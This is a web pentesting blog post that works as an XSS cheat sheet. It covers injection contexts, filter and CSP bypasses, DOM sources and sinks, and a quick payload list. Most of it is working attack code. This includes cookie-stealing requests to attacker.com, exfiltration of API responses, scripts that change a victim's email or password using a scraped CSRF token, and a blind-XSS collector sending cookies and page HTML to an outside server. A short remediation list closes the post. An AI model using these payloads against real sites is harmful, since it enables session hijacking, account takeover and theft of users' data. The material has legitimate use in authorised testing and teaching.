← Back to writing
Web Pentesting

XSS Techniques & Payloads

Apr 05, 2024
3 min read
lawbyte

XSS is far more than just <script>alert(1)</script>. This guide covers every variant, context-specific injection, CSP bypass, and advanced exploitation technique you need for modern web pentesting.

Types of XSS

Reflected — payload is in the request, reflected in the immediate response. One-time execution, requires victim to click a crafted link.

Stored — payload persists in the database and executes for every user that loads the affected page. Much higher impact.

DOM-based — the vulnerability is in client-side JavaScript that reads from attacker-controlled sources (location.hash, document.referrer, postMessage) and writes to sinks (innerHTML, eval, document.write).

Mutation XSS (mXSS) — the browser’s HTML parser mutates a sanitized string back into executable markup. Found in sanitizers like DOMPurify (older versions).


Context-Aware Injection

The correct payload depends entirely on where your input lands.

HTML body context

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>

HTML attribute context

If your input lands inside a quoted attribute value:

" onmouseover="alert(1)
" autofocus onfocus="alert(1)

If the attribute is unquoted:

x onmouseover=alert(1) y=

If inside href or src:

javascript:alert(1)

JavaScript string context

If you’re inside a JS string literal:

'; alert(1);//
\'; alert(1);//
</script><script>alert(1)</script>

Inside JSON

"}; alert(1); var x={"

Template literal context

${alert(1)}

Filter Bypass Techniques

Case and encoding

<ScRiPt>alert(1)</ScRiPt>
<img src=x oNeRrOr=alert(1)>
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<img src=x onerror=alert(1)>

Avoiding parentheses

alert`1`
alert.call`${1}`
[1].map(alert)

Avoiding keywords

// No 'alert'
top['al'+'ert'](1)
window[atob('YWxlcnQ=')](1)
eval('ale'+'rt(1)')

Breaking up the payload

<scr<script>ipt>alert(1)</scr</script>ipt>
<img src="x" onerror="al&#x65;rt(1)">

Protocol tricks

<a href="javas&#x09;cript:alert(1)">click</a>
<a href="javas cript:alert(1)">click</a>
<a href="data:text/html,<script>alert(1)</script>">click</a>

DOM-Based XSS

Dangerous sources

location.href
location.hash
location.search
document.referrer
window.name
postMessage data
localStorage / sessionStorage

Dangerous sinks

innerHTML
outerHTML
document.write()
document.writeln()
eval()
setTimeout() / setInterval() with string arg
Function()
$.html()
location.href = untrustedInput

Example vulnerable code

// Reflected via hash
document.getElementById('output').innerHTML = location.hash.slice(1);

// Exploit: https://target.com/page#<img src=x onerror=alert(1)>

postMessage XSS

// Vulnerable receiver — no origin check
window.addEventListener('message', function(e) {
document.getElementById('msg').innerHTML = e.data;
});

// Exploit (from attacker-controlled page)
target.postMessage('<img src=x onerror=alert(document.cookie)>', '*');

Session Hijacking Payload

// Send cookie to attacker
fetch('https://attacker.com/steal?c='+btoa(document.cookie))

// Or via image beacon
new Image().src='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)

// XHR with credentials for SameSite bypass
var x=new XMLHttpRequest();
x.open('GET','https://target.com/api/user',true);
x.withCredentials=true;
x.onload=function(){fetch('https://attacker.com/?d='+btoa(x.responseText))};
x.send();

CSP Bypass

Check the CSP header first:

Content-Security-Policy: script-src 'self' https://cdn.example.com

Bypass with allowed CDN

If a CDN that hosts Angular, jQuery, or JSONP endpoints is whitelisted:

<!-- Angular sandbox escape (AngularJS on CDN) -->
<script src="https://cdn.example.com/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

<!-- JSONP endpoint on whitelisted domain -->
<script src="https://cdn.example.com/api/v1?callback=alert(1337)"></script>

unsafe-inline with nonce leak

If a nonce is reflected:

<!-- App reflects: <script nonce="abc123"> -->
<script nonce="abc123">alert(1)</script>

script-src 'none' with base tag

<!-- If base-uri is not restricted -->
<base href="https://attacker.com/">
<!-- All relative scripts now load from attacker.com -->

default-src 'self' with iframe + srcdoc

<iframe srcdoc="<script>alert(parent.document.cookie)</script>"></iframe>

Dangling markup for data exfiltration (no script exec needed)

<img src='https://attacker.com/?data=

Reads until next ' character, exfiltrating markup including tokens/CSRF values.


XSS to Account Takeover

Change email via XSS

fetch('/account/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=attacker@evil.com',
credentials: 'include'
});

CSRF token exfil + use

fetch('/settings', {credentials:'include'})
.then(r=>r.text())
.then(h=>{
var t=h.match(/name="csrf_token" value="([^"]+)"/)[1];
return fetch('/settings/change-password',{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'csrf_token='+t+'&password=hacked123',
credentials:'include'
});
});

Blind XSS

Use when you can’t observe the execution directly (admin panels, ticket systems, log viewers).

Payload:

<script src="https://your.server/xss.js"></script>

xss.js on your server:

var data = {
cookie: document.cookie,
url: location.href,
html: document.documentElement.innerHTML.substring(0, 5000)
};
fetch('https://your.server/collect?'+new URLSearchParams(data));

Tools: XSS Hunter, interactsh, self-hosted webhook.


Quick Payload List

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe onload=alert(1)></iframe>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
javascript:alert(1)
<a href=javascript:alert(1)>click</a>
<form action=javascript:alert(1)><input type=submit>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
</textarea><script>alert(1)</script>
</script><script>alert(1)</script>
${alert(1)}
{{constructor.constructor('alert(1)')()}}

Remediation

  • Output-encode all user data in the correct context (HTML encode for HTML, JS encode for scripts, URL encode for URLs).
  • Use a strong CSP with nonces, avoid unsafe-inline and unsafe-eval.
  • Set HttpOnly on session cookies so XSS can’t read them directly.
  • Validate Content-Type on API responses.
  • Use a modern framework that auto-escapes by default (React, Vue, Angular).

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.